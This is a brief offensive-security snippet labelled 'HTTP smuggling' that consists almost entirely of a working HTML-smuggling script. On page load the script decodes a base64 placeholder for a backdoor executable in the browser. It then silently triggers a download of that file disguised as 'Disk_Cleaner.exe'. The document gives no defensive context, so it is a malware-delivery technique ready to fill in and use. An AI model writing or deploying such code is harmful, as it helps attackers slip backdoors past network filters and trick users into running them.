Http smugling

HTTP SMUGGLING
<script>
    function base64ToArrayBuffer(base64) {
    var binary_string = window.atob(base64);
    var len = binary_string.length;
    var bytes = new Uint8Array( len );
    for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i);
    }
    return bytes.buffer;
    }
    var file ='<backdoor.exe Base64 Encoded Value>'
    var data = base64ToArrayBuffer(file);
    var blob = new Blob([data], {type: 'octet/stream'});
    var fileName = 'Disk_Cleaner.exe';
    var a = document.createElement('a');
    document.body.appendChild(a);
    a.style = 'display: none';
    var url = window.URL.createObjectURL(blob);
    a.href = url;
    a.download = fileName;
    a.click();
    window.URL.revokeObjectURL(url);
</script>